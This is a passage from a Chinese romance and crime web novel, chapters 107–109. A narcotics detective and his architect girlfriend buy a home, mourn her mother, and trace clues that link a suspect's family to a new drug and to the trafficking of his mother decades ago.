“和谁聊天啊,都不跟我说话。” “在看手机。” “手机上有什么好看的?” 梁然说:“看房子。” “沈宗野,我们买一套房子吧。” 第107章 第107章他也许……再也见不到…… 沈宗野怔住,他的眼神比夜色深邃,紧望梁然。 梁然说:“买在汇明路,离我们俩上班都近。” “小谢对你说什么了,说我上班迟到?”沈宗野一瞬间就猜到了。 : 梁然笑:“你不想买吗?” “不是,你想买房子可以买,但不用特意迁就我,我早起就行。” 梁然的家离她公司很近,堵车十几分钟,不堵车几分钟就到了。沈宗野折腾惯了,并不希望梁然以后也这么折腾。 但是想起“以后”这个词,他眼眸紧落在梁然身上。 梁然说:“你要不要听我的?你不想买我不看了,以后也不会再提……” “我要。”沈宗野握紧梁然的手。 梁然忍不住翘起唇。 对梁然来说买房子是件非常简单的事情,只需要考虑地段和户型大小,她锁定好了一个高档楼盘。 周末的中午,沈宗野难得休息,接过梁然递来的平板看着户型和小区房价。他很郑重,翻看着介绍上每一张照片。 梁然托着下巴,欣赏沈宗野认真专注的样子。 沈宗野看完后点了点头:“你喜欢这里就买在这,买房子的钱我来出。” 梁然倒是比较惊讶:“你知道这要多少钱吗?” “我知道,刚刚我算了。” 他的表情依旧很郑重。 梁然:“我来出就好。” 沈宗野认真看着梁然:“我妈给了我一笔钱。” 虽然沈宗野最开始并不想动这笔钱,但还是愿意为了梁然去努力一下。梁然完全理解不了她说出买房这句话后他的心情,他那时有多欢喜此刻就有多郑重。 “沈宗野,买房子是为了让我们两个上班和感情都方便,是两全的计划。房子是我提出要买的,房价太昂贵,我付房价,你付装修,这样可以吗?”梁然认真说。 她笑了笑:“还有啊,你别觉得我买了房子就是默认跟你长久地发展下去,如果以后我接受不了你危险的工作,我还是会放弃这段关系。” 漫长无声的一段沉默,梁然认真看着沈宗野。 沈宗野终于在她的眼神下浮起笑:“梁然,我知道了,我听你的。” 梁然微顿片刻:“你会觉得我冷血吗?” “没有,我喜欢你的理智。” 沈宗野亲了亲梁然的头发,他只能这样想,如果以后他们真的分开了,至少梁然的理智会保证她不会在新的感情关系里受到伤害。 “我去接个电话,你先看。” 沈宗野起身去了露台,他没电话要接,他想抽支烟。一根细支烟被他叼在嘴里,他拢起手掌点燃,侧身透过落地窗望着梁然,梁然在看着平板上的房子,朝他笑了下。沈宗野也抿起薄唇。 他眼眸里的深意浸在这片烟雾中,冷,又烈。 他现在忽然很介意梁然说这样的话,忽然很不爽,他只想把她永远地占有。 晚饭过后,梁然想去健身,叫上沈宗野一起去小区的健身房,沈宗野没应她,慢斯条理收拾了餐桌。 梁然已经回房间换了瑜伽服,刚走出衣帽间,沈宗野修长的身躯就将她堵在了门口。 “你快换……唔。”梁然被沈宗野的吻堵住了话。 青年浑身充满了侵略,扣住她五指,按住她的手高举过她头顶。他的亲咬粗暴强势,很像在宁城的时候,周身充满狠戾的气压,只如一个暴徒。 梁然忽然有些沉溺,跌进沈宗野幽深的眼眸里,被他撕碎…… …… 他们房子很快就买好了,在明汇路上最高档的一处楼盘,类似梁然这样的平墅,写的梁然的名字。 梁然亲自设计了室内的装修,沈宗野付了装修款。 像梁然曾经说的那样,他们的房子里要有一个超大的滑滑梯,要有室内攀岩墙,这样沈宗野和葡萄都能用到。 装修动工后,沈宗野过去看了两次,梁然倒是一直都没有时间过去看一眼,直到今天忙完工作,晚上才和沈宗野带着葡萄一起来新家看看。 房子的水电已经铺完了,最近刚刷完地面水泥,过几天就能铺地板。 沈宗野刚打开房门,葡萄就欢喜地蹦跶了出去。 “葡萄,你也喜欢我们的新家吗?”梁然笑着去找葡萄。 沈宗野跟在梁然身后。 只是梁然和沈宗野都忽然不约而同对视一眼,低下头看着脚下。 他们踩到水泥地面了。 地上的水泥竟是今天刚做的,软绵绵地正印上了他们和葡萄的脚印。 “好可爱呀。”梁然看着三个不同的脚印笑了起来。 虽然新的房子还没有装修好,但梁然对这个家充满了期待,回到家就开始在手机上挑选电器。 她难得没有把时间用来加班,沈宗野也坐到沙发上,手臂揽过梁然肩膀,和梁然一起选家电。 不过沈宗野也只能充当赞同的角色。 梁然问他“好看吧”,他还没看到,梁然就已经加购好了。 沈宗野笑:“还有什么要让我选的?” “你先休息,我选得差不多了。” 沈宗野打开手机选起婴儿衣服,婴儿床。 梁然偏头瞥到一眼他的屏幕,一时愣住。 沈宗野挑眉,对她眼里的疑惑也有些不解。 梁然直接拿过了沈宗野的手机,她退出购物软件,打开沈宗野的微信和通话记录。 “你在外面有人了?” 沈宗野失笑:“有什么人?” “那你看什么婴儿床?难道你不仅有人了,还有了宝宝?” 沈宗野要被梁然的想法逗得停不下笑。 他严肃地望着梁然:“是给我弟弟也可能是妹妹选的。我妈怀孕了,再有两三个月就是预产期。” “啊,上次你妈妈就已经是怀孕的状态了?”梁然一时没反应过来。 “嗯。” “那她没有告诉我,你也没说!”梁然有些后悔,当时她对方昭意还说了重话,早知道方昭意是孕妇,她哪里还会替沈宗野出头。 说沈宗野在外面有人了是她故意想惹沈宗野着急,她知道他不会做这种事,但现在沈宗野倒是真的急了。 “你怎么了?” “我第一次见你妈妈的时候对她可能不太礼貌,冲撞了她。” 沈宗野很意外:“你的性格应该不会吧,你们都聊了什么?” “我听到你在梦里叫过你妈妈,所以我语气可能不好……” 沈宗野握着梁然的手指:“梁然,你是在替我说话吗?” “嗯。” “你是心疼我吗?” 梁然抬起眼。 沈宗野的眸底映着澎湃的暗潮。 梁然轻轻抿起唇:“自己猜。” 她回到了正事上:“你妈妈年纪这么大了,怀宝宝应该很辛苦吧?” “我最近也有给她打电话,她说产检都一路绿灯,还算顺利。” “你继父对你好吗?” “很好,黎叔是个有格局的人,对我妈很好。” 梁然望着沈宗野,企图在他脸上找到一丝难过的情绪。 但沈宗野神色如常:“这么看我做什么?” “你妈妈有了新的家庭,你会难过吗?” “不会啊,她很辛苦,现在终于有了幸福我替她开心。”沈宗野说,“我一直都希望她能再要一个孩子,至少这样……” 沈宗野微顿片刻,朝梁然淡笑:“家电选好了吗?葡萄的东西还没挑选吧,我再看看猫咪喜欢的玩具。” 梁然知道沈宗野绕开了话题。 他想说的应该是至少他这样危险的工作没办法陪在方昭意身边尽儿子的义务,方昭意多有一个宝宝他会更安心。 那她呢? 属于他们俩的房子很快就要拥有了,房子能为她遮起风雨。 这段感情也会吗? …… 时间恢复到往常的状态,梁然忙着蒸蒸日上的工作,沈宗野常化妆别的身份去抓毒贩,索性去的时间最长只是八。九天,没再碰上宁城那种跨省大案。 今天局里接到派出所一个报案,说他们辖区的出租屋内有两人拿刀互砍,邻居报了警,两人尿检是毒品阳性,身上和家里又没搜出毒品,就请他们帮忙派几个专业的人去搜查一下。 这本来应该是一桩吸毒的小案子,可过去的同事搜出来的竟然是轻松一号。 几粒药丸藏在一个装糖果的瓶子里,才没被派出所民警发现。 董自新死后,市面上虽然也有小部分轻松一号在售卖,但这种新型毒品已经干净了两个月了。 局里本来不觉得是有漏网之鱼在暗中售卖,只当这两名吸毒人员是以前购买的,但化验结果却让所有人大惊。 这些药丸不是轻松一号。 是轻松二号。 它的化学成分与沈宗野当时存档的轻松二号一模一样。 轻松二号只出现在宁城过,沈宗野和谢天明与它的接触最多,参与到调查里。 沈宗野这几天都留在了局里,没有再陪梁然,他告诉梁然有关陈沥周的任何事都不要轻信,要警惕这个人。 梁然不知道沈宗野这么警惕陈沥周,是因为以前的主观原因还是一些存在的证据,她问沈宗野原因,沈宗野只说现在一两句话讲不清楚,总之远离陈沥周没有错。 陈沥周再也没有联络过梁然,对梁然而言,她是不太想去相信他是一个坏人的,但她又很愿意信任沈宗野。 巧的是今天有个熟人从宁城来南城出差,顺道来看梁然。 是何詹,陈沥周的合伙人。 何詹不是陈沥周,梁然总不能防着他吧。她带上了助理,在公司附近一家餐厅请何詹吃晚饭,当然也是想问到一些关于陈沥周的事情。 何詹见到梁然,有些怀念之前陈沥周带着她,三个人在宁城一起吃饭的日子。 他们聊完工作后,梁然说:“陈沥周也没有联系你吗,你有多久没见到他了?” “好久都没联系了,我也挺想他。” 梁然问:“何詹,你和他认识多久了?” 梁然的脸色有些郑重,何詹意外了片刻,认真说起:“从大学到一起考研、创业,我们认识有九年了。” “那你应该很了解他,他说是去国外深造,你就真的相信吗?” 何詹眼神垂下,自然地端起酒杯抿了一口。 但是梁然敏感地扑捉到何詹似乎像在回避。 “我自然相信他。”何詹回答。 梁然原本没有在何詹这里报有希望,但她忽然觉得何詹好像是知道些什么。 她没有直接追问想知道的答案,而是聊起桌上的菜:“沥周以前喜欢为我点这道菜,每次吃到,我还是会想起他来。” 何詹怔了好久,浮起笑:“我知道,我和他吃饭他聊你,我和他打球他也聊你,我俩打游戏的时候他还要去看手机,看你有没有给他回消息。” “梁然,你喜欢沥周吗?” 梁然沉默了片刻:“我欣赏他。如果我没有谈恋爱,可能我们会有更多的接触吧。” 梁然欣赏陈沥周对建筑的理解,欣赏他博学广识,他们也有相似的经历,都在黑暗处寻找真相。如果没有遇到过沈宗野,如果梁然的生活一帆风顺,在工作上认识陈沥周,就像第一次遇见的那天,他站在夕阳的光影里,山水宁静,斜阳温柔,他和她笑着聊起建筑,带她离开饭局上讨厌的宋晟身边,那她也许会给这个儒雅幽默的青年一个试着了解的机会。 当然,这些都只是如果,现在梁然只想稳住何詹,套到一些对沈宗野有用的线索。她也是真的在担心陈沥周,不想陈沥周遭受不测。 何詹轻轻笑了起来:“那沥周就值了。” “你这么说是什么意思?”梁然怔住。 何詹犹豫了下,让门口的助理离开。 包房里只剩下他们两个人,何詹说:“上个星期沥周联系我了,叫我给他在美国找一批雇佣兵。” “他问我你好不好,我说你很好,他问我你的生日我有没有来给你庆祝,我说太忙了我没找你。” 梁然怔怔听着,雇佣兵这个词实在让她意外极了,这个消息也让她替陈沥周担忧和紧张。但梁然的理智时刻绷着,不动声色地聆听这些线索。 “他说他的事不要我告诉你,他也许……再也见不到你了。” “你说的话什么意思,我听不明白?为什么不能再见到我,他的事又是什么事?” 何詹:“我也是在他去国外的一个月后他在微信上告诉我他在找他妈妈被害的证据,叫我不要告诉你,不要担心他。后面我们再联系就是上一周了,我劝过他赶紧回来,但他不听。我问他为什么要找雇佣兵,他也不说,我感觉他遇到了很大的危险。” 梁然:“报警啊!已经到要找雇佣兵这么危险的地步了,你为什么不报警?” 何詹黯然:“你别着急,我说了要报警,但沥周他坚决不肯,说报警了一定会连累我。” 梁然紧望着何詹:“你怕被连累吗?” “我当然不怕。”但何詹又有些犹豫,“只是那天沥周在电话里和我说了,如果我报警了,我百分百会被连累,可能会死……听到这里我是很害怕的,他叫我当做什么都不知道。” 梁然已经起身了:“走,跟我去见一个人。” “见谁?”何詹怔住。 “一个警察,也许能帮到沥周。” 傍晚七点,公司里已经没有人在,梁然将陈沥周带去了公司。 但是在联系沈宗野时她还是犹豫了。 如果她把沈宗野叫来公司,何詹知道沈宗野是一名缉毒警察,会不会对沈宗野不太好? 沈宗野最近就在查陈沥周,让他的身份暴露,对他查案是不是不妥? 虽然她不相信陈沥周会去贩毒,但沈宗野说过他可能是董自新的儿子,也可能在接手轻松一号的生意,他的身边也许围着很多毒贩。 梁然最终还是没有告诉沈宗野,在谢天明那里问到了王有为的电话,告诉了王有为,王有为派了车到她楼下,将她和何詹带到了附近的片区派出所。 到这一步,有梁然在旁支持,何詹终于将陈沥周交代给他的事全部说了。 离开派出所时,梁然告诉何詹:“有事情随时联系我,你这么做是在帮沥周。” 何詹问梁然:“为什么刚才警察问我认不认识董自新,这个人是谁?” “我也不清楚,也许是影响沥周安全的人?” 何詹点点头:“但愿沥周不要有危险,我会按照他们说的做。” 看何詹的神情好像对陈沥周的事不知情。 何詹走后,梁然也开车驶出派出所,却在门口迎面遇到沈宗野的车。 夜色乌暗,晚风吹得金属升降杆都在晃动。 也不管门口不能停车,沈宗野下了车,直接穿过夜色冲向梁然。 梁然落下车窗,笑吟吟地看沈宗野。 “这么大的事为什么不跟我说?”沈宗野微眯的眼眸很是紧张。 “我是担心何詹知道你是缉毒警察,对你不太好。” 沈宗野看了眼四周,将他的车停好,坐到梁然车上开车带她回家。 事情的经过沈宗野已经在王有为那里清楚了,他几乎可以断定陈沥周很大可能参与到了毒品生意里。那梁然与何詹接触,甚至是来派出所就变得非常危险。 回到家,沈宗野再次告诉梁然不要再和陈沥周有关的任何事与人走近。 梁然轻轻抱住沈宗野:“我知道你在担心我,你别着急。” 沈宗野的心跳很快。 梁然将头埋在他心口,蓬勃的心跳声才逐渐平稳下来。 沈宗野说:“以后再遇到这种事情不要自己去出头,告诉我,我会有办法。” “我知道,今晚我确实不该带何詹去报案。” “报案没有错,你联络王叔的行为也没有错。”沈宗野弯起薄唇,“其实梁然,你比你自己以为的还要勇敢,但是下次不许再这样了,专业的事情交给专业的人来做。” “你好紧张,你都强调好几次了,我知道了。”梁然好笑。 沈宗野犹豫了片刻:“宁城发现了一种新型毒品,可能与陈沥周有关。” 梁然的笑凝固在脸上。 沈宗野说:“目前没有证据,但陈沥周这个人已经不算是一个干净的人了,梁然,你要离他远一点。” …… 沈宗野在跟进这个案子。 何詹联络的那批雇佣兵过几天就会按照陈沥周的要求到达指定的地点,局里会派两名警察卧底到这一批雇佣兵中。 沈宗野申请负责这个任务,谢天明也愿意再和他一起搭档。 但王有为拒绝了。 如果陈沥周真的是董自新的儿子,那就不能排除他身边有董自新的旧人。而沈宗野和谢天明独独逃过了那次的抓捕,身份就可疑。 王有为说:“等你俩去了脚还没站热乎,人就凉了。” 谢天明眼神幽怨:“王局,您说话能不能委婉点?” 沈宗野在沉思,理智之下没再主动争取。 王有为问谁想接,眼神扫过会议上的众人。 如今只是把陈沥周当成一个疑犯来调查,任务没有以前的大案那么危险,王有为眼神扫过何谨峰时,何谨峰忙摆手。 “我不行,我上次任务完了腰伤还没好,这案子给你们拿去立功就行。” 谁都知道何谨峰的性格,他是那种老婆最大的人,结了婚就把陈慧放在前头。每次任务对毒贩最会嬉皮笑脸了,把对方哄得跟亲爹一样,王有为每次在会上都训何谨峰要硬气一点。 何谨峰说去不了后,就有好几个同事举手要去。 大家挑了体格最像雇佣兵的,沈宗野负责在这几天给他们恶补英语。 等何詹那边按陈沥周之前交代的方式将这批雇佣兵送到地点,两个缉毒警察也顺利卧底在了那批人里,大家都在耐心等着最新消息。 第108章 第108章以后的路我都会陪你一…… 几天过去,两名卧底警员传回的消息还是一层不变,没有人接应他们。 他们一直以雇主的要求住在滇省一处村庄的自建别墅里,还是没有等到雇主新的指示。 局里也顺着那两名吸毒者的口供加了线上一名毒贩的联系方式,但对方迟迟没有通过,暗访在酒吧和赌场的卧底警员也还没有查到轻松二号的货主。 十二月底的最后一天,南城的地标广场上人山人海,时间才晚上九点多,就已经有无数的人赶来跨年。 梁然和沈宗野开车经过,道路堵得水泄不通。 梁然望着夜空里飘升的气球,忍不住笑了下。 沈宗野:“你想去跨年?” “我想起了我们去年的时候,我假装对你死心塌地其实好累哦。” 沈宗野忍不住一笑,扣住梁然的手。 梁然看着车窗外,时间真的很快,她好像适应了沈宗野握着她手指的温度,适应了他在她身边的状态。 梁然问:“陈沥周的案子有进展吗?” “还没有。”沈宗野说,“我在查徐川和陈沥周奶奶的信息,希望能找出线索。” “我希望陈沥周是个好人。” 凌晨的钟声敲响时,梁然和沈宗野站在家里的露台上望着满空飞起的气球和广场上乌压压的人群,遥遥的“3,2,1,新年快乐”穿过暮色传到耳中,新年的喜悦也从他们彼此的眼底荡漾开。 元旦这天,沈宗野终于有了一个新线索。 他按照何詹提供的陈沥周奶奶的消息,锁定了可以继续调查的范围,云南。 沈宗野决定跟谢天明去一趟。 他回家打算告诉梁然,但梁然今天的心情好像不是很好。 梁然在书房里画图,虽然平板和电脑都很好用,但她习惯最开始的线稿用纸记录,桌上的纸摊开很长,几乎快滑到地板上,她眼神有些游离,望着空洞的地方出神。 “然然。”沈宗野停在梁然办公桌前。 梁然才抬起头:“你回来了。” “你在想事情?” 梁然看了眼窗外,她的房子坐落在南城最繁华的地段,城市的灯火尽收眼底,夜色绚丽。 她说:“十年前的元旦节,我和画室的老师还有同学去长白山玩,长白山真美,我第一次知道世界可以白得这么干净。” “第二天,我接到了我妈妈的电话……我错过了她。”梁然抬起眼,她走神是因为这件事情,快到沈茹的忌日了。 她不知道她已经流下了眼泪,她不知道她的眼神像犯错的孩子,她看着沈宗野,无措而委屈:“我真的好后悔啊,如果我当时接到她的电话就去坐下午那趟飞机,我就能见到她最后一面。” “沈宗野,我好想我妈妈……” 沈宗野越过长桌抱住梁然。 梁然闻着他衣服上干净的皂香,紧紧埋在这个滚烫的怀抱里。 那天的雪冷到彻骨,但隔了十年的时光好像终于变成心脏里驱逐不掉的潮湿,唯一能感知的是那股甩不掉的黏腻,和沈宗野怀抱里的烫。 她的嗓音带着恨,比冬季的夜晚还要凉:“我妈妈是为了救人才离开我们的,她是一个花滑运动员,她游泳也很好,那天她从大剧院外看完演出出来,遇到有人跳水轻生就去救那个人,但是那个女生好坏啊,她把我妈妈踢到了水底。我恨她,我讨厌轻生的人,我一直都在诅咒她得到报应,我真的恨她……” 沈宗野抱紧了梁然。 “我在听,你妈妈是个很好的人,她很勇敢,也很不幸,但她有你爸爸和你,还有悦悦,又比很多人要幸福。” 梁然听不进去这些安慰,她只觉得沈茹很不幸,善良换不来好报。 “我恨那个轻生的人,她为什么要连累无辜的别人?我也好恨我自己啊,我真的好后悔那一次为什么我没有回去,为什么要错过去见我妈妈最后一面……” 梁然紧紧抱住沈宗野,听到他喉头里有力量的嗓音,沈宗野说:“我也没有见过我爸最后一面,但我想他知道我平安应该就没有牵挂了。梁然,你已经听过你妈妈的声音了,至少她最后告诉过你什么,你应该还记得。” 梁然穿过迷惘的泪光,好像看到十年前的那场雪。 “她说,妈妈爱你。”她的嗓音嘶哑。 沈宗野说:“你妈妈应该很漂亮,很爱美,她在你心里留下了最漂亮的那面。梁然,不要困在过去了,她说的‘妈妈爱你’就是希望你未来走得长远,走得开心。”沈宗野垂下眼眸,鼻尖触碰到梁然的鼻尖,“你知道我喜欢你什么吗?” 梁然感受着他呼吸的宁静,等待着他继续说下去。 他是一股力量,她需要这股力量。 “我喜欢你的勇敢,你真的是个很勇敢的姑娘,也比任何人都要优秀。见到你妹妹后我看出她是个很开朗的小姑娘,很依赖姐姐,那是因为你撑起了她的世界,她在以你为榜样。” “你是快乐的,开朗的,她就会像你这样活泼快乐。如果让悦悦知道她的姐姐不快乐,那悦悦也会有负担,不能快乐地长大。” 柔软的灯光,窗外城市的绚烂,都和沈宗野的嗓音一样温柔。 “梁然,没有母亲不爱自己的孩子,不希望她快乐平安地过好没有他们的生活。我知道你会难过,但是你别害怕,以后的路我都会陪你一起走。” 梁然闭着眼睛流下热泪,紧紧抱住沈宗野。 沈宗野没有提要去云南调查线索的事情,让谢天明另和同事过去。 梁然也没有察觉到他做这些,沈茹的忌日是元旦的第二天,她回了怀城,沈宗野开车陪她,他们一起接上梁悦,去墓地看望了沈茹。 再次站在寂静的墓园,风好像都变得温柔,沈宗野一直站在梁然身旁,宽肩给了她依靠。梁然不知道是因为多了他的存在,还是时间的久远,站在沈茹的墓前,她竟可以直视无边的柏树林,直视这片空寂。 回到家里,张姨已经做好了饭菜,是第一次见沈宗野,对沈宗野客气又满意。 吃完饭后,林悦悄悄拉过梁然:“姐,今晚你们要走吗,会住在家里吗?” “今晚我们住在家里,他明天可以休息。” 梁悦很开心,瞅了眼陪葡萄在花园里玩的沈宗野说:“姐,他是不是算见过爸爸妈妈啦?” 梁然轻轻微笑。 梁悦偷偷笑得很开心。 梁悦起身去和沈宗野一起陪葡萄玩耍。 梁然望着他们的背影,这一幕宁静又温馨,她的心脏盈满了热涌。可是想起沈宗野的职业,梁然还是会觉得矛盾,她喜欢现在的状态,她不想和沈宗野打破这种状态。 她希望他永远都不要再有什么危险的任务。 梁幸均的茶室就在一楼,连着外面的花园,梁然回到茶室里煮了一壶沸水。 白毫银针在滚烫的沸水里荡漾、升腾,无数毫绒在清澈的茶汤里,像冬季飘雪。 梁悦还蹲在花园里给葡萄拍照。 沈宗野穿过草坪走进茶室。 梁然将闻香杯烫过,倒入清澈的茶汤。 沈宗野骨节分明的手指端起青瓷闻香杯,他品完说:“我喜欢生普。” 梁然好笑地抿起唇。 沈宗野靠进椅背,微掀眼皮,转着手腕上的沉香串珠,薄唇带笑。 “是你以前说我适合生普,我就喝惯了。” 梁然托着腮:“那你后面买的多少钱一斤?” “不知道,办公室里也有这茶叶,大家都泡着喝,但他们直接丢在茶缸里,我不一样,我用的是你教我的跑法,大概也是五百克一斤。” 梁然好笑,她的眼里流露着她都没有留意过的娇嗔。 沈宗野眼眸灼热。 梁然挑眉:“干嘛这么看着我,这是我爸爸的地盘。” 沈宗野喉结轻滚,转着青瓷杯喝下茶。 这是沈宗野在梁然老宅里住的第一个夜晚,梁然带着他看了她小时候的相册,和他介绍梁幸均跟沈茹,和他说起别墅里每一幅画、每一个精美摆件的来历,都是他们一家温馨的故事。 沈宗野认真地听她说起这些他不知道的事情,认真地赞美她小时候很可爱,欣赏她的作品。 第二天吃过早饭,他们回到南城,顺路去看了装修的新房子。回到家,沈宗野煎了梁然想吃的牛排,假期的最后一天倒也过得舒服惬意。 梁然竟然没有了那种从前看完沈茹回来后阴郁的心情,她窝在沈宗野怀里,两个人在沙发上看起电影。 电影也是随便点播的,他们俩都没有心思花在看电影上,影片精彩的剧情好像只是他们感情的背影音乐。 梁然说谢谢你。 沈宗野抱着她亲,从额头到嘴唇,又亲她锁骨。 梁然双肩微微耸动,她怕痒,沈宗野又故意咬她耳骨。 “嗯……”梁然被他亲得有些轻喘,桃花眼迷离地躲,望见了电视屏幕,她忽然说,“好熟悉。” 沈宗野掌着她纤细的腰,薄唇没放过她,漫不经心问:“什么熟悉?” “台词。” 影片是沈宗野随手点播的他喜欢的一个男演员的新电影,讲拐卖的题材。 画面里是老年夫妻看着被拐过来的女大学生,一个点评“清瘦不好生养”,一个点评“学历高好,女孩子就是得多有文化”。 梁然推开了沈宗野,认真看着电影。 沈宗野系上衬衫纽扣,拉过梁然的手也陪她看起来。 女主就这样被关在了狭小的屋子里,镜头切换到大城市的父母卖掉房子到处寻亲。梁然倒退回去,重新播放起那对老年夫妻点评起被拐卖的女大学生。 她的眉头微皱,眼神专注,让沈宗野都不由得敛下眸底的暧色,视线挪到画面上。 “我想起来了!”梁然脱口而出,“陈沥周的奶奶说过这句话!” 梁然很激动。 沈宗野嗓音沉冷:“你慢慢说,她说过什么话?” “她说过这句‘学历高好,女孩子就是得多有文化’,她说过这句!她看见我的时候对我说的!” 沈宗野眼眸越来越沉。 梁然也很意外和激动,这句话从前听着只是对她的夸赞,但现在看到这部影片,好像格外多了一种深不见底的阴暗。 第109章 第109章梁然如此明媚 他们把这部电影看完,最终警察救回了被拐卖的女孩,正义he的大结局。影片最后播放的花絮里,片方说这是根据真实事件改编,台词和剧情大部分都出自人物真实经历。 梁然和沈宗野互相对视一眼,都不约而同有了一个猜测。 陈沥周的奶奶会是一个买卖过妇女的人吗? 这个妇女是陈沥周的妈妈? 沈宗野说:“然然,我想去……” “你去吧。” 梁然知道沈宗野是想回局里去查案。 沈宗野有些愧疚地吻了吻梁然脸颊,又很认真地夸奖她:“你好厉害,这也许会是一个重要的线索。” 梁然也希望能帮到陈沥周。 沈宗野回到局里,请王有为帮助他申请调取云南历年来的拐卖案卷宗,他没日没夜查着,带着老太太的那张照片联络各地区的监狱警,请他们问一下被关押在狱的拐卖人口对这个老太太有没有印象。 这几天里,卧底在雇佣兵中的两名同事还是没有有用的消息传回来。 谢天明那里也没新进展,董自新以前早就抹掉了痕迹,查起来哪会容易。 直到一周后,西南一个省的监狱警给局里打来电话,说有一名拐卖人口的犯人看到老太太的照片觉得眼熟,但是老人年纪太大,他不确定是不是认错了人。 沈宗野当即去技术部门做出了老太太年轻时候的AI照片,那名犯人看后说对这人极有印象,是以前一个买家,哪怕已经过去二十多年了,他也记得清清楚楚,不是云南就是贵州的买家。 这话沈宗野还需要经过翻译,监狱里头的犯人往往都会故意夸张地帮忙找线索,以求增分减刑。 翻译过来,大致应该是:对这人有些印象,只是年代久远,约摸有二十几年了吧,如果是以前接触过的买家,那应该是云南或者贵州那边的,记得不太清了。 再翻译严肃一点,这些话约摸就只有百分之几的真实率。 沈宗野打算亲自过去调查。 梁然知道后虽然有些担心,但案子和陈沥周有关,她也不希望陈沥周触犯法律。虽然她只见过陈沥周的奶奶一面,但看那次陈沥周对老人很敬爱,也许根本就不知道他妈妈有可能是被他的奶奶与父亲拐卖来的。 梁然只能让沈宗野注意安全,两人吃过一顿晚饭后沈宗野就买好机票飞去了那座监狱。 拐卖案还有三名从犯,沈宗野一一去查问,又顺着这些线索申请手续调取了被拐人口档案,筛查出15-29岁年龄段的女性档案,但信息一一对过,还是没有符合标准的女性。 根据梁然提供的线索,陈沥周的妈妈应该比较有学问,可能是江浙一带的人。 晚上十点多,沈宗野住在当地刑侦大队的宿舍里,合上了写得密密麻麻的随身笔记。 梁然给沈宗野拨了电话过来。 梁然问:“你还没休息?” “嗯,刚上床。你呢,今晚没加班吧?” 梁然刚刚忙完工作,坐在电脑前看网上的寻亲信息。 也是因为这件事,梁然才知道国内每年都有那么多被拐卖的失踪人口,也是才知道不仅有寻亲网站,寻亲小组,这些亲属还组织了协会、群、团队。她这几天还真的了解了不少知识。 梁然说:“刚忙工作,你查到线索了吗?” 沈宗野揉了揉眉心:“还在找。” “不一定非得要从那个拐卖案上溯源,你找一下被排除在外的名单。” 像这种破获的人口拐卖案,一般都会有全国各地寻亲的人找来,即便最后不是,也会有记录登记在册。 “我知道,失踪人口太多了,一时查不过来。” 沈宗野是打算先查完卷宗上的,再去查当年被排除在外的名单。 梁然也在一个群里替沈宗野咨询。 她忽然笑了下:“诶,你说是我先找到线索,还是你先找到?” 沈宗野低笑:“你。这些线索都是你提供的。” 梁然抿起笑,和沈宗野继续讲着电话。 第二天,沈宗野照旧继续查找线索。 梁然和乔思嘉吃过午饭后回到办公室,没什么工作要忙,她又搜索起网上的寻亲信息。 可能是近期的大数据检索到她在关注这类信息,在她点开乔思嘉转发给她的一条品牌新推的春装时,首页推送给她一条“被拐进大山里能有多大几率逃出来”的笔记。 梁然点进去,翻看着评论区。 有人说同小区的女生被拐到了缅北,有人在说下楼遛娃时差点被陌生人带走宝宝。 梁然盯着其中一条评论。 kiki是只猫:「我们这一个姐姐,不,现在应该是阿姨了,某所顶尖学府的理科校花,父母都是大学教授,她本人还超善良,还组织过我妈妈救助流浪猫,去川西旅游过生日失踪了,才20岁,她父母也好可怜,到处找她,去云南的时候出车祸两口子都死了,家里大园子被亲戚捡便宜。托腮.jpg」 梁然展开底下回复的评论。 网友: 「好唏嘘啊,人贩子不得耗死」 「这种家底亲戚应该也很有钱吧,亲戚继承了遗产会帮忙继续找人吗?」 「九十年代的事情嘛?这种多半找不回来的,有保存过DNA吗?」 kiki是只猫:「不知道保没保存过DNA」 kiki是只猫:「亲戚是她亲叔叔,房子当年就被转卖了,没听我妈他们说还在找人,这种很难找啊。她家房子是苏州一套园林,那些年能有一套园林的家庭都不普通,挺可惜的,如果现在那个阿姨还在不知道过得有多好。」 后面叠了很多的评论。 kiki是只猫:「所以说拐卖人口就该直接判死刑!」 kiki是只猫:「对啊,她父母死得挺意外的,被醉酒还是吸du的人开车撞了,当场就死了。」 梁然紧望着这条回复,把这些评论截图发给了沈宗野。 她点进这人的首页,发送了一条私信,希望对方能回复她。 沈宗野很快就打来了电话:“你觉得这个被拐的女生就是我们要找的人?” “我觉得很像,陈沥周的妈妈也提过园林式的房子,如果我亲眼见到这个评论里的园林我应该能对比一下感受。而且她父母是被酒驾还是毒驾的人撞死的,不是很巧合吗?” “联系上这个网民了吗?”沈宗野嗓音低沉。 “还没有,等我联系到了给你消息。” 梁然一直等到了晚上,kiki是只猫才终于上线回复了她。 梁然说她有一个朋友的妈妈就在山区,很符合她评论里提到的这个人,她的朋友想为他妈妈找到亲人,问这个网友方不方便提供一些照片和那位亲叔叔的联络方式。 kiki是只猫很热心,没有觉得梁然在骗她,去她妈妈那里要到了以前跟那个姐姐的合影,又发给梁然那位亲叔叔的微信号。 “只能帮你这么多啦,我拿我妈手机悄悄拍的。” 梁然说了谢谢。 她被这张照片震撼住了。 老照片保存得很完好,照片上的女生高挑漂亮,气质非常好,眉眼和嘴唇、脸型都跟陈沥周很像。 梁然从没想过有一天她可能帮助陈沥周找到了一个真相。 沈宗野拿到联系方式很快与这位亲叔叔联络上了,去了一趟苏州。 梁然也飞到沈宗野发来的地址,亲眼看到那座古典的园林,和陈沥周描述里的感觉极似。甚至石桥上真的有猫咪追着蝴蝶的雕刻,池塘里依旧有鲤鱼摇着尾巴。 沈宗野查完了当年的所有卷宗。 没日没夜,历时16天,找到了当年那名毒驾开车撞人的司机。 男人才四十几岁,但已经非常老态,生活得并不好,住在西部一个极偏远的村子里。 当年因为他悔过态度极好,又主动报警和拨打120,十年刑满后就被释放。 沈宗野找到他时他一开始拒不承认认识董自新,沈宗野拿出董自新的照片时他也还在否认,直到沈宗野和老孙说董自新已经死亡,不会再有人威胁到他,男人才犹豫权衡许久,终于慢吞吞开口。 他说照片的人哪叫什么董自新,叫周大兴,干贩毒的。 一开始周大兴是跟着一个老大干,因为他手段太残忍,把老大干掉了自己干起了贩毒,还和境外有了生意往来。周大兴是个孝子,他娘让他回老家结婚就回去了,过了两年安稳日子,对婆娘还算好。 “他婆娘是他娘买来的,一个大学生,漂亮有学问,聪明得很,每次都差点逃脱。”男人说,“我们当时劝他给那女的上点老k算了,吸上了有瘾了就不会再逃了,他舍不得,还说想要个孩子,当时他是真喜欢那城里头的婆娘。” 